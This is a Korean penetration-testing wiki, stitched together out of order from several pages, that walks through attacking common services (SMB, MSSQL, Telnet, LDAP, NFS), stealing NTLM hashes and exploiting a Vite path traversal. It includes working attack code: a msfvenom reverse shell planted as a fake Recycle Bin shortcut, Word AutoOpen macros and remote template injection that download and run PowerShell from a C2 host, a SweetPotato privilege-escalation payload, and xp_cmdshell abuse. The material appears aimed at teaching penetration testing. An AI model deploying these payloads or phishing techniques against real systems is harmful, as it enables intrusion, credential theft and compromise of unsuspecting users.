페이지 소스코드에는 하드코딩된 크리덴셜 혹은 단서를 얻을 가능성이 있습니다. 예를 들어 관리자 페이지의 경로가 웹 디렉토리 스캔에는 탐지되지 않았지만 JavaScript 함수를 main.js 등과 같은 파일에 저장하고, 페이지에서 이러한 파일을 링크한 상태라면 main.js의 파일에서 하드코딩된 정보를 통해서 관리자 페이지의 경로를 획득할 수 있습니다.

해쉬 크래킹을 통해서 패스워드를 획득합니다. 디스크 마운트를 위해 VeraCrypt 프로그램을 서 설치합니다. 설치한 이후엔 프로그램을 실행하고, 파일 선택 > 패스워드 입력 을 거치면 자동으로 가상 디스크를 생성하여 드라이브 이미지와 마운트를 시켜줍니다.

웹 취약점은 하위에 있는 공격 및 그 외 취약점들을 통해 테스트를 진행하고 본 페이지에서는 웹 디렉토리와 서브도메인, 페이지 소스에 대해서 다룹니다.

여기
# 명령어 양식
ffuf -w <Dictionary File> -e <Exetention> -u <URL> -fc <Excluded Response Code>

# 실습
ffuf -w directory-medium.txt -e .zip,.txt -u http://example.com -fc 302
# 명령어 양식
gobuster dir -k -w <Dictionary File> -x <Exetention> -u <URL>

# 실습
gobuster dir -k -w directory-medium.txt -u http://example.com -x zip,txt
# 명령어 양식
ffuf -w <Dictionary File> -u <URL> -H "Host:FUZZ.DOMAIN"

# 실습
ffuf -w subdomain.txt -u http://example.com/ -H "Host:FUZZ.DOMAIN"
# 명령어 양식
gobuster vhost -w <Dictionary File> -u <URL> --append-domain

# 실습
gobuster vhost -w subdomain.txt -u http://example.com/ --append-domain
Web
Baby2: VulnLabMedium

111 - RPC

RPC 포트는 원격에서 디렉토리를 마운트하여 파일 공유를 할 수 있는 프로토콜입니다. 마운트 된 쉐어에 대한 정보 수집과, 권한이 있을 시 마운트를 하여 정보수집, 스피어 피싱, 악성파일 업로드 등과 같은 행위를 할 수 있고, No root squash 설정이 되어있을 경우 실행파일을 통해 루트 권한 획득도 가능합니다.

# 쉐어 목록 확인
showmound -e <IP>

# 쉐어와 마운트
mount <IP>:/<Share> /mnt

# no root squash 악용
[Kali] cp /bin/bash /mnt/
[Victim] ./bash -p

23 - Telnet

Telnet은 원격 시스템에 접속하여 커맨드 실행이 가능한 프로토콜입니다. 현재는 암호화가 적용된 원격 명령 프로토콜인 SSH에 밀리지만 그럼에도 디버깅 용도로 사용하는 경우가 종종 있습니다. 대상 서버에 Telnet이 활성화 되어 있다면 패스워드 스프레잉 공격, 계정 정보를 획득 시 원격 명령 실행 등이 가능합니다.

Password Spraying

# 명령어 양식
hydra -L <username.txt> -p <PASS> telnet://<IP>

# 실습
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# hydra -L username.txt -p 'PentestingWiki' telnet://10.0.2.10 -V -f      
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-14 07:42:21
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:26/p:1), ~2 tries per task
[DATA] attacking telnet://10.0.2.10:23/
[ATTEMPT] target 10.0.2.10 - login "root" - pass "PentestingWiki" - 1 of 26 [child 0] (0/0)
[ATTEMPT] target 10.0.2.10 - login "admin" - pass "PentestingWiki" - 2 of 26 [child 1] (0/0)
[ATTEMPT] target 10.0.2.10 - login "test" - pass "PentestingWiki" - 3 of 26 [child 2] (0/0)
[ATTEMPT] target 10.0.2.10 - login "guest" - pass "PentestingWiki" - 4 of 26 [child 3] (0/0)
...

Shell Connection

┌──(root㉿kali)-[~/Pentest/Machine]
└─# telnet 10.0.2.10
Trying 10.0.2.10...
Connected to 10.0.2.10.
Escape character is '^]'.
Welcome to Microsoft Telnet Service 

login: wiki
password: 

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
pentesting\wiki

139/445 - SMB

SMB는 Windows에서 사용되는 파일 공유 서버 프로토콜입니다. Linux 운영체제에서는 SMB 대신 Samba 프로토콜을 사용하기도 합니다. 기본적으로 445번 포트에서 실행되며 쉐어를 통한 파일 전송은 139번 포트에서 이뤄집니다. 따라서 서버에서 139, 445번 포트가 활성화 되어있다면 Windows 운영체제라고 추측이 가능합니다.

SMB는 버전이 취약할 경우 Eternal Blue 취약점에 취약할 수도 있지만 17년도 익스플로잇이기 때문에 웬만한 환경의 SMB에서는 프로토콜 자체의 취약점보다는 익명 바인딩, 크리덴셜 정보 등으로 인해 취약점이 발생합니다. 익명 바인딩이 가능하다면 쉐어 목록, 유저 목록을 확인해보고 impacket-lookupsid를 사용하여 RID Cycling 공격을 통한 유저 정보를 수집합니다.

# 익명 로그인 여부 확인
nxc smb <IP> -u '' -p ''

# Guest 계정 로그인 여부 확인
nxc smb <IP> -u Guest -p ''

# 공유 쉐어 목록 확인
nxc smb <IP> -u <USER> -p <PASS> --shares

# 도메인 유저 정보 확인
nxc smb <IP> -u <USER> -p <PASS> --users

# 도메인 유저 정보 수집
nxc smb <IP> -u <USER> -p <PASS> --rid-brute
impacket-lookupsid anonymous@<IP> 10000 -no-pass

또한 공유된 쉐어가 웹 디렉토리라면 SMB 파일 업로드를 통한 웹 쉘 접속 시도도 가능합니다. 쉐어와의 마운트는 다음과 같이 할 수 있습니다.

# 익명 쉐어 마운트
mount -t cifs //<IP>/<Share> /mnt

# 쉐어 마운트
mount -t cifs //<IP>/<Share> /mnt -o username=<USER>,password=<PASS>

nxc를 통한 익명 로그인이 성공하는 반면, shares 플래그를 통한 쉐어 목록 수집이 권한 거부 메시지가 출력된다면 smbclient를 사용하여 쉐어 목록을 수집할 수 있습니다.

# 명령어 양식
smbclient -L //<IP>/

389/636 - LDAP

LDAP 프로토콜은 디렉토리 서비스에 접근하기 위한 애플리케이션 계층의 프로토콜입니다. 도메인에 관련된 많은 정보를 갖고있기에 LDAP 프로토콜을 통해 다양한 정보수집이 가능합니다. 대부분의 서비스에서는 LDAP에 관해 익명 바인딩을 불허하기 때문에 많은 정보수집을 할 수는 없지만 서버의 FQDN을 알아내거나, 바인딩이 허용된 경우 서버의 많은 정보들을 수집할 수 있습니다.

# 익명 바인딩을 통한 기본 정보 수집
ldapsearch -x -H ldap://<IP> -s base

# FQDN 및 DN을 통한 세부 정보 수집
ldapsearch -x -H ldap://<IP> -s sub -b 'DC=<DC>,DC=<DC>'

# 로그인을 통한 정보 수집 
ldapsearch -H ldap://<IP> -s sub -b 'DC=<DC>,DC=<DC>' -D <Domain>\<USER> -w <PASS>

135 - msrpc

msrpc는 Domain Controller라면 기본적으로 활성화되어 있는 서비스입니다. 이 서비스는 기본적으로 도메인에 등록된 유저들이 로그인하여 도메인 정보, 유저 정보, 유저 정보 변경 등의 다양한 작업을 할 수 있지만 익명 로그인이 허용되어 있을 경우 익명 바인딩을 하여 명령을 하는것이 가능할 수도 있습니다.

# msrpc 바인딩
rpcclient -U <USER> <IP>

# 익명 바인딩
rpcclient -U "" -N <IP> 

연결이 성공되어 명령을 실행할 권한이 있다면 아래와 같은 명령을 통해 다양한 정보 수집 및 원격 실행이 가능합니다.

명령
결과

querydominfo

도메인 정보수집

querydispinfo

도메인 유저 정보수집

enumdomains

사용중인 도메인 목록

srvinfo

서버 정보

netshareenumall

사용 가능한 모든 쉐어 절대 경로

enumdomusers

모든 도메인 사용자 열거

queryuser <RID>

특정 사용자에 대한 정보를 제공

Command File

Windows 구 버전에서는 일부 확장자가 포함된 경로로 파일 탐색을 하는 즉시 명령 실행을 하는 확장자가 존재합니다. 대표적인 확장자는 scf(Shell Command File)이며, 이 외에도 파일을 통해 공격자의 서버로 NTLM 인증을 강제로 하게 함으로써 NTLM 챌린지 값을 탈취할 수 있습니다.

[Shell]
Command=2
IconFile=\\\\<Attacker IP>\\share\\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
[InternetShortcut]
URL=<Attacker IP>
WorkingDirectory=%username%
IconFile=\\<Attacker IP>\%USERNAME%.icon
IconIndex=1

Practice

오늘 날 최신 버전의 Windows에서는 더 이상 scf 파일을 자동으로 실행하지 않아 이것으로 NTLM 정보를 탈취하는 것은 불가능하지만 url 확장 파일을 C:\Users\Public\Desktop 과 같이 모두가 공유하는 바탕화면 경로 등에 그럴듯한 파일로 올려두고, 다른 사용자가 클릭 시 해당 사용자의 NTLM 챌린지 값 탈취는 가능합니다.

# hack.url 파일 내용
[InternetShortcut]
URL=\\192.168.200.132\share

# 희생자가 파일을 클릭할 때까지 SMB 서버를 수신 상태로 대기
impacket-smbserver share . -smb2support


# 희생자가 url 파일 클릭 후 탈취에 성공한 NTLM 챌린지
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-smbserver share . -smb2support
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.200.1,17309)
[*] AUTHENTICATE_MESSAGE (MicrosoftAccount\Administrator,wiki)
[*] User wiki\Administrator authenticated successfully
[*] Administrator::MicrosoftAccount:aaaaaaaaaaaaaaaa:04f496fa83c8060ebc3eb9bf248...

Reference

CVE-2025-31486

영향을 받는 버전
영향을 받지 않는 버전
조치 방안
  • 6.2.0 <= Vite <= 6.2.4

  • 6.1.0 <= Vite <= 6.1.3

  • 6.0.0 <= Vite <= 6.0.13

  • 5.0.0 <= Vite <= 5.4.16

  • Vite <= 4.5.11

  • Vite >= 6.2.5

  • 6.1.4 <= Vite < 6.2.0

  • 6.0.14 <= Vite < 6.1.0

  • 5.4.17 <= Vite < 6.0.0

  • 4.5.12 <= Vite < 5.0.0

버전 업데이트

Practice

취약한 Vite를 설치하기 위해 node.js 및 취약한 버전의 Vite를 설치합니다.

# node.js 및 vite 설치
sudo apt update
sudo apt install curl
sudo apt purge nodejs -y
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs

# 취약한 버전으로 다운그레이드
npm uninstall vite
rm -rf node_modules package-lock.json
npm install vite@5.4.14 --save-dev

# 프로젝트 생성
npm create vite@latest

# vite 실행
npm install 
npm run dev

설치 후 Vite 접근을 허용할 호스트 목록을 작성합니다. 실제로는 개발자 본인 IP 혹은 팀원 IP만을 허용할 수 있지만, 이미 제어권 탈취가 이뤄졌다는 전제 하에 본 실습에서는 허용 가능 IP를 모든 IP인 0.0.0.0으로 설정합니다.

# 설정 파일 생성성
nano vite.config.js

# 아래 내용 삽입
import { defineConfig } from 'vite'

export default defineConfig({
  server: {
    host: '0.0.0.0'
    fs: {
      allow: [
        '/home/ubuntu/test_project'
      ]
    }
  }
})

Vite는 기본적으로 vite.config.js 파일에서 지정한 경로 하위에 있는 파일만 접근할 수 있습니다. 예를 들어 /etc/passwd와 Vite의 프로젝트 경로는 다르기 때문에 아래와 같이 권한 오류가 발생합니다.

또한 취약한 버전이 아닌 안전한 버전에서는 아래와 같이 정상적 경로에서 경로이동 문자를 삽입하여 다른 경로의 파일에 접근하려고 하더라도 Vite의 홈페이지로 리다이렉션 되는 것을 확인할 수 있습니다.

하지만 서버에서 실행중인 안전한 버전을 취약한 버전으로 다운그레이드 시 아래 사진과 같이 설정 파일에서 허용하지 않은 /etc 디렉토리 하위에 있는 파일을 다운로드 하는 것이 가능합니다.

이 취약점의 실행 권한은 슈퍼 권한이기 때문에 모든 파일을 읽을 수 있습니다.

References

EXE + LNK

Windows에서 실행 파일의 포맷은 exe 파일이며 lnk 파일은 바로가기 파일입니다. 이 두가지 파일을 통해서 Windows에서 실행되는 백도어 생성이 가능합니다. 파일이 실행되었을 때 Windows에서 출력되는 것은 아무것도 없기에 희생자는 본인이 악성파일을 클릭했다는 사실 조차 모를 수 있습니다.

Scenario

생각해볼 수 있는 시나리오 중 하나는 초기 침투에 성공한 공격자가 바로가기 파일에 악성코드를 심은 뒤, 공유 디렉토리에 업로드 함으로써 다른 사용자로 횡적이동을 하는 시나리오가 있습니다.

실습을 위해 먼저 리버스 쉘 실행 파일을 생성 후 공격자의 Windows 파워쉘에서 적절한 명령을 통해 "휴지통" 이라는 이름의 바로가기 파일을 생성합니다.

# 악성코드에 사용할 리버스 쉘을 생성
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o r.exe

# 파워쉘을 통한 바로가기 링크 생성
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Users\Public\Desktop\휴지통.lnk")
$lnk.IconLocation = "shell32.dll, 31"
$links = "http://192.168.200.132/r.exe"
$webclient = New-Object System.Net.WebClient;$webclient.DownloadFile($links, "C:\Windows\Temp\r.exe")
$lnk.TargetPath = "C:\Windows\Temp\r.exe"
$lnk.Save()

명령 실행 후에는 C:\Users\Public\Desktop 경로에 휴지통 아이콘의 바로가기 파일이 생성되었습니다. 희생자는 일반 휴지통이라고 생각하고 해당 파일을 클릭할 수 있고, 클릭하는 순간 공격자에게 사용자의 쉘이 넘겨집니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 30778
Microsoft Windows [Version 10.0.26100.2314]
(c) Microsoft Corporation. All rights reserved.

C:\Users\wiki\Desktop>whoami
whoami
\wiki

References

1433 - MSSQL

MSSQL 프로토콜은 어떠한 계정정보도 존재하지 않는다면 할 수 있는 것은 제한됩니다. 하지만 유저 이름 목록을 가졌을 땐 패스워드 스프레잉 공격이 가능하며 MSSQL은 Windows Local 계정과 연동이 되기 때문에 로컬에 유저 정보를 획득 시 SQL 콘솔을 통한 로컬 크리덴셜 탈취 및 쉘 획득 가능성이 존재합니다. 원격 접속은 다음 명령을 통해서 가능합니다.

# Windows Token을 통해 MSSQL 서비스 접속 및 명령 실행
beacon> execute-assembly C:\Tools\SQLRecon.exe /a:wintoken /h:sql-2.pentest.wiki,1433 /m:query /c:"select @@servername"
# 명령어 양식
impacket-mssqlclient <Domain>/<USER>:<PASS>@<IP> -windows-auth

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-mssqlclient pentesting.wiki/wiki:password123!@10.0.2.10 -windows-auth
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (PENTESTING\wiki  guest@master)> 

SQL 쉘 획득 이후 사용 가능한 XP 프로시저 목록을 확인하여

Windows Local에 관련된 공격 가능성을 탐색합니다.

SELECT name FROM dbo.sysobjects WHERE name like 'xp%'

Methodology

Password Spraying

# MSSQL 패스워드 스프레이
└─# nxc mssql 10.0.2.10 -u users.txt -p 'password123!'                                           
MSSQL       10.0.2.10    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pentesting.wiki)
...
MSSQL       10.0.2.10    1433   DC01             [+] pentesting.wiki\wiki:password123!

Remote Code Execution

MSSQL에서 제공하는 프로시저 중, xp_cmdshell은 사용자가 MSSQL 콘솔에서 Windows 명령을 실행할 수 있는 기능입니다. 해당 프로시저를 사용하거나 활성화 하는데는 권한이 요구될 수 있습니다. 먼저 프로시저의 활성화 여부를 체크한 후, 활성화가 가능하다면 활성화를 합니다.

# 활성화 여부 확인
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

# 활성화
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# 원격 명령 실행
EXEC xp_cmdshell 'whoami';

Enumeration

권한이 부족하여 커맨드 쉘 획득에 실패했다면 다른 방법으로 정보수집을 시도할 수 있습니다.

# 디렉토리 하위 목록 나열
xp_dirtree <path>

xp_dirtree, xp_makecab 프로시저가 활성화 되어있지만 커맨드 쉘을 연결하기 위한 xp_cmdshell을 사용할 수 없는 상태에서는 서버에서 탈취하고자 하는 파일을 xp_makecab을 사용하여 압축한 뒤, 그것을 웹 디렉토리에 업로드하여 브라우저를 통해 접근함으로써 파일을 탈취할 수 있습니다. 브라우저는 접속한 경로의 파일이 압축 형태일 경우 기본적으로 다운로드 하는 성질이 있기 때문입니다.

Steal NTLM Response

xp_dirtree는 Windows 로컬의 파일을 탐색하는 명령입니다. 파일 탐색기에서 \\<IP>\share 와 같이 특정 IP의 SMB 쉐어 포맷을 입력하게 되면 해당 주소가 SMB 서버인지 확인하기 위해서 Windows는 주소에 연결을 시도합니다. 연결을 하는 과정에서 SMB 서버가 NTLM 인증을 요구하면 클라이언트는 현재 사용자의 자격증명을 사용한 응답을 하게 되는데, 이때 서버로 전송하는 NT Hash로 암호화된 챌린지에 대한 응답을 통해 해쉬 크래킹을 시도 할 수 있습니다. 먼저 Kali 환경에서 SMB 서버를 활성화 합니다.

# SMB 서버 실행
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-smbserver share . -smb2support
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

활성화 한 서버의 주소와 쉐어를 xp_dirtree 명령어 인자로 전달합니다.

# NTLM 해시 탈취를 위한 공격자 SMB로 접근
SQL (PublicUser  guest@master)> xp_dirtree \\10.10.14.25\share
subdirectory   depth   file   
------------   -----   ----  

Kali의 SMB 서버에 수신된 NTLM 챌린지 응답 메시지를 확인합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-smbserver share . -smb2support
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.202,50625)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:cc211f663243fabefad05e5eb66e612e:0101000000000000003469c5af38db01a2ee1a1d69e3619300000000010010005600540071006400610066006b004900030010005600540071006400610066006b004900020010006b0055006e00510064006e0075006400040010006b0055006e00510064006e007500640007000800003469c5af38db01060004000200000008003000300000000000000000000000003000005555c07756eeb0101e374b063fa214d2e03534e9eb2cccf1b04cd95decc97b6c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320035000000000000000000
[*] Closing down connection (10.10.11.202,50625)
[*] Remaining connections []

Username Enumeration

MSSQL은 Windows와 연결되기 때문에 도메인 유저의 SID를 가져오는 것이 가능합니다. 반대로 이용하면 도메인에 반드시 존재하는 계정을 질의하여 SID를 얻는다면 SID의 RID 부분만 올려감에 따라 RID Cycling공격이 가능합니다.

# Domain Administrator SID 획득
MSSQL > select sys.fn_varbintohexstr(SUSER_SID('<Domain>\Administrator'))

# python으로 코드 제작 후 파일로 저장
for i in range(500, 10000 + 1, 1):
    print(f"select (SUSER_SNAME(SID_BINARY(N'<SID>-{i}')))")
    
# impacket의 file 플래그를 사용하여 쿼리 자동 삽입 후 도메인 유저 결과 저장
impacket-mssqlclient <User@IP> -file rids.txt | tee result.txt

# result.txt에서 유효한 도메인 유저 목록만 추출
cat result.txt | grep --text -i <Domain> | cut -d '\' -f 2 > DomainUsers.txt

Lateral Movement

MSSQL에는 링크라는 개념이 있습니다. 이를 통해 하나의 데이터베이스 인스턴스가 외부 소스의 데이터에 접근할 수 있습니다. 현재 인스턴스가 보유한 링크를 확인하려면 아래 명령을 사용합니다.

# 링크 목록 열거
SELECT srvname, srvproduct, rpcout FROM master..sysservers;

링크된 데이터베이스 간은 데이터에 접근할 수 있다고 언급했던 것처럼 쿼리 실행 역시 원격에서 가능합니다. 원격 쿼리 실행에는 OpenQuery와 SQLRecon 사용이 가능합니다.

# 원격 쿼리 실행
SELECT * FROM OPENQUERY("sql-1.pentest.wiki", 'select @@servername');

SQLRecon에서 링크된 데이터베이스에 원격 쿼리를 실행할 땐 /m 플래그 값 앞에 l을 붙입니다. 이때 붙인 l은 링크할 데이터베이스를 의미하며 /l 플래그를 통해서 어떤 링크를 선택할지 지정합니다.

beacon> execute-assembly C:\Tools\SQLRecon.exe /a:wintoken /h:sql-2.pentest.wiki,1433 /m:lquery /l:sql-1.pentest.wiki /c:"select @@servername"

링크된 데이터베이스로의 원격 쿼리 실행에서도 xp_cmdshell을 사용하여 측면 이동 및 제어권 획득이 가능합니다. 하지만 xp_cmdshell이 비활성화 되어있을 때 앞서 설명한 방법과 동일하게 활성화 할 수는 없습니다. 그러나 링크에서 RPC Out이 활성화되어 있다면 다음 구문을 사용하여 프로시저를 활성화 할 수 있습니다.

# xp_cmdshell 프로시저 활성화
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.pentest.wiki]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.pentest.wiki]

현재는 SQL-2와 SQL-1이 링크된 상황이지만, SQL-1에 추가적인 링크가 존재할 수도 있습니다. 이럴 경우 PowerUpSQL의 Get-SQLServerLinkCrawl을 사용하여 모든 목록을 열거할 수 있습니다.

# SQL 인스턴스 정보 크롤링
Get-SQLServerLinkCrawl -Instance "sql-2.pentest.wiki,1433"

Privilege Escalation

최신 MSSQL 설치 시 인스턴스는 NT Service\MSSQLSERVER 로 실행되며 이는 기본값입니다. 이 계정은 SeImpersonatePrivilege 권한을 갖고 있는데, 이것은 클라이언트를 가장할 수 있는 권한입니다. 대표적인 공격 중에는 SweetPotato를 통한 System 권한 탈취가 있습니다.

# 페이로드 주소를 Base64 인코딩
$str = 'IEX ((new-object net.webclient).downloadstring("http://wiki.com/reverse"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

# Base64 인코딩 된 스크립트를 삽입하여 System 권한으로 실행
.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <Base64 Encoded Command>"

References

ZIP

wax

Practice

깃허브에서 다운로드한 ntlm_theft.py 파일을 가지고 NTLM 탈취에 취약한 확장 파일을 생성합니다.

# NTLM 강제 인증 파일 생성
┌──(root㉿kali)-[~/Pentest/Machine]
└─# python3 ntlm_theft.py -g wax -s 192.168.200.132 -f wiki
Created: wiki/wiki.wax (OPEN)
Generation Complete.

# NTLM Relay 수신을 위한 SMB 서버 실행
┌──(root㉿kali)-[~/Pentest/Machine/wiki]
└─# impacket-smbserver share . -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

# 호스트 컴퓨터에서 파일 실행 후 Kali 터미널 확인
┌──(root㉿kali)-[~/Pentest/Machine/steal]
└─# impacket-smbserver share . -smb2support
...
[*] Administrator::MicrosoftAccount:aaaaaaaaaaaaaaaa:5d00...

References

Microsoft Word

MS의 Word는 공격자들이 가장 애용하는 피싱 파일 중 하나입니다. 이번 페이지에서는 실제 악성코드를 통한 실습보단, 간단한 코드를 통해 원리를 학습함에 목적을 둡니다.

Practice

VBA(Visual Basic for Application)

MS Word를 실행시킨 후 Macro 버튼을 클릭하여 현재 문서에 대한 매크로를 생성합니다. 매크로의 이름은 AutoOpen으로 설정하여 자동으로 실행되게끔 한 뒤, 현재 문서를 등록하여 생성합니다. 이렇게 제작한 매크로는 문서를 실행하자마자 매크로 실행을 묻는 팝업창이 나타납니다.

매크로를 생성하면 다음과 같이 매크로 코드를 입력할 수 있는 창이 나타납니다.

아래 코드를 입력 후 실행 버튼을 클릭했을 때, Shell.Run의 인자에 적힌 프로그램인 메모장이 실제로 실행되는 것을 확인할 수 있습니다.

매크로 미리보기 실행을 통해서 메모장이 정상적으로 클라이언트 PC에서 실행되는 것을 확인했으니, C2 서버에서 웹 서비스를 실행 후, 해당 서비스에 접근하여 파일을 다운로드 및 실행하는 코드를 삽입합니다.

리스너는 HTTP를 설정 후 실행을 클릭하면 리버스쉘 연결을 시도하는 파워쉘 코드가 생성됩니다. 이어서 생성된 파워쉘 코드를 매크로에서 실행하는 코드의 인자로 전달합니다.

코드는 macro 디렉토리로 접근했을 때 파일을 다운로드 후 메모리 단에서 실행하는 코드입니다. 매크로 코드창을 종료 후 파일 타입을 Word 97-2003 문서 혹은 Word 97-2003 Document(*.doc)로 저장합니다.

또한 실행중인 코발트 스트라이크 웹 서버에서는 /macro 경로에 접속 요청이 들어왔을 때, 어떤 파일을 호스트에게 전달할 지에 대해서 설정해야 합니다. 현재 피해자 PC에서 C2 웹 서버로 접근 시 파워쉘 원라이너를 실행하여 쉘을 연결하게끔 만들 것이기에 페이로드 타입을 파워쉘로 지정하여 서버를 대기합니다.

이제 피해자 이메일로 피싱 Word 파일을 전송 후, 클릭하기를 기다리면 됩니다. 피해자 PC에서 파일을 실행 후 코발트 스트라이크 비콘에 해당 PC가 추가된 것을 확인합니다.

Remote Template Injection

VBA 매크로를 이용한 통신 수립 외에도 템플릿에 악성 코드를 삽입하여 비콘 연결 방법도 존재합니다. MS에서는 템플릿을 기반으로 문서를 제작할 수 있기 때문에 이러한 기능을 악용하는 것입니다. 템플릿은 직접 만들 수도 있고, 인터넷에서 다운로드 할 수도 있기 때문에 만약 악성 코드가 심어진 템플릿을 온라인에서 다운로드 받는다면, 피해자는 본인도 모르게 공격자 C2에 연결을 하게될 수도 있습니다.

먼저 악성 코드 자체를 담을 템플릿 1개와, 해당 템플릿을 통해 생성할 문서 1개를 만들어줍니다. 템플릿 문서에는 공격자 C2로 접근하여 연결 수립 파일을 다운로드 후 실행하는 매크로를 작성 후 저장합니다.

템플릿 문서의 파일 형식은 Word 97-2003 서식 파일 혹은 Word 97-2003 Template (*.dot) 입니다. 악성 매크로가 담긴 템플릿을 생성했으니, 이제 템플릿을 다운로드 할 수 있도록 호스트 파일을 지정합니다.

그 다음으로 템플릿을 적용 시킬 report 문서를 생성합니다.

문서의 확장자는 Word 문서 혹은 Word Document (*.docx) 로 생성합니다. docx는 xml 파일의 집합이기 때문에 7zip 등의 압축 프로그램으로 압축 파일을 열어볼 수 있습니다.

압축파일 열기 > _rels > settings.xml.rels 파일을 편집 기능으로 실행합니다.

settings.xml.rels 파일에 있는 Target의 URL을 이전에 열어둔 C2 웹 서버의 템플릿 주소로 지정합니다. 저장 후에는 report.docx 파일을 피해자에게 전송 후 실행하기를 기다립니다.

피해자 PC에서 docx 파일을 클릭 시 docx 파일에서 참조하는 http://wiki.com/template.dot이 불러와지며 공격자 C2 웹 서버에 있던 template.dot 파일을 다운로드 합니다. 그리고 template.dot 파일에 존재하는 매크로가 실행되며 http://wiki.com/macro에 위치하는 파워쉘 스크립트가 실행되며 최종적으로 비콘이 연결된 것을 확인할 수 있습니다.

URL File Attack | Pentest Everything
SMB Share – SCF File AttacksPenetration Testing Lab

WAX는 Windows Media Player 형식의 확장 파일 중 하나이며 오디오 파일입니다. wax 파일은 보안 패치가 없는 취약성이 있는데, 파일을 실행시켰을 때 사용자로부터 강제 인증을 시도하여 NTLM을 탈취하는 것입니다. 취약성이 있는 코드를 생성하는 도구는 다운로드 가능합니다.

깃허브
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "notepad"

End Sub
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://wiki.com/macro'))"""
End Sub
Logo

SQL

SQL Injection은 서버에서 미리 정의해둔 미완성된 쿼리문에 악성 코드를 삽입하는 공격입니다. 사용자가 입력한 동적/정적 파라미터를 기존의 미완성된 쿼리에 삽입하여 완성한 뒤 DBMS에 질의함에 따라 결과를 출력해주는 과정에서 적절한 보안조치가 이루어지지 않는다면 비정상적인 행위를 일으킬 수 있습니다.

오늘 날은 예전과 달리 웹 제작 시 스프링 등과 같은 프레임워크를 사용하기에 인젝션을 포함한 대부분의 공격은 보안조치가 되어있기에 발생 빈도는 낮습니다. 가장 널리 사용되는 DBMS는 Oracle, MSSQL 등이 있고 임베디드나 내부망의 노후된 환경에서는 MySQL, SQLite 등이 사용되곤 합니다.

MeteData

메타데이터는 데이터에 관한, 데이터를 위한 데이터입니다. 예를 들어 홍길동 이라는 사람의 이름은 데이터이지만 사람마다 각각의 이름을 구분하기 위해 동일한 특성을 가진 것들을 묶어서 일컫는 "이름" 과 같은 데이터는 메타데이터라고 부릅니다.

# 버전 정보
SELECT banner FROM v$version;

# 현재 데이터베이스
SELECT user FROM dual;

# 전체 테이블 그룹 출력
SELECT listagg(table_name, '***') FROM all_tables;

# 전체 컬럼 그룹출력
SELECT listagg(column_name, '***') FROM all_tab_columns;

# 특정 컬럼의 레코드 그룹출력
SELECT listagg(<Column>, '***') FROM <Table>; 

# 테이블 순차 출력
SELECT table_name FROM (SELECT table_name, rownum AS num FROM all_tables WHERE owner=(SELECT USER FROM dual))a WHERE a.num=N

# 컬럼 순차 출력
